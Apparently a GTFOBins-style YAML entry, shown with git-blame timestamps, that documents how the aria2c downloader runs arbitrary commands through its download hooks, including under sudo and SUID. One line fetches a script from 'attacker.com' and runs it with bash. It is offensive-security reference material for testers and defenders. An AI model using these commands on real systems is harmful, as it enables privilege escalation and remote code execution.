2018-09-07 11:53:15 +02:00
---
2018-09-07 13:30:55 +02:00
description: Note that the subprocess is immediately sent to the background.
2018-09-07 11:53:15 +02:00
functions:
2018-10-05 19:55:38 +02:00
command:
2018-09-07 13:30:55 +02:00
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x
2018-09-07 13:46:22 +02:00
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
2018-09-07 13:30:55 +02:00
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
2018-10-05 19:55:38 +02:00
suid:
2018-09-07 13:30:55 +02:00
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
2018-10-05 19:55:38 +02:00
sudo:
2018-09-07 13:30:55 +02:00
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo aria2c --on-download-error=$TF http://x
2018-09-07 11:53:15 +02:00
---